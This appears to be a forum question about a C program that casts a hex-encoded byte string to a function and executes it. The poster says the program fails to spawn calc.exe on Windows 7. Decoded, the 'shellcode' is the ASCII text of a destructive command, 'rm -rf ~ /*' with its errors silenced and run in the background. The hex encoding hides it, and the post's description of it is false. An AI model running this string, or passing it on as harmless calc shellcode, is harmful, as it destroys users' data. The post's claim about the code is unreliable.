I have a following program written in c:
char code[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20"
"\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65"
"\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
I compile it to .exe using shellnoob, but when I try to launch it in Windows 7 (32bit), an empty cmd window pops up and nothing happens. Could anyone please give me a hand? (The shellcode should spawn calc.exe
.)